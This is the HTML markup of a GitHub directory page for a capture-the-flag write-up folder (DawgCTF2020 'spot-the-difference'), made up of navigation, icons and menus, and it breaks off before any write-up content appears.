1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> sponege </span> <span>/</span> CTF-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/sponege/CTF-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":259153036,"originating_url":"https://github.com/sponege/CTF-writeups/tree/master/DawgCTF2020/spot-the-difference","user_id":null}}" data-hydro-click-hmac="9fb83bedc8d119ea7f69f794eabbe01ce75b1a09c62909f5c7b5064a822c1cce"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/sponege/CTF-writeups/refs" cache-key="v0:1587942860.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c3BvbmVnZS9DVEYtd3JpdGV1cHM=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/sponege/CTF-writeups/refs" cache-key="v0:1587942860.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c3BvbmVnZS9DVEYtd3JpdGV1cHM=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>DawgCTF2020</span></span><span>/</span>spot-the-difference<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>DawgCTF2020</span></span><span>/</span>spot-the-difference<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/sponege/CTF-writeups/tree-commit/5415ec9511fade1f1876396f1a1136f25d393762/DawgCTF2020/spot-the-difference" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 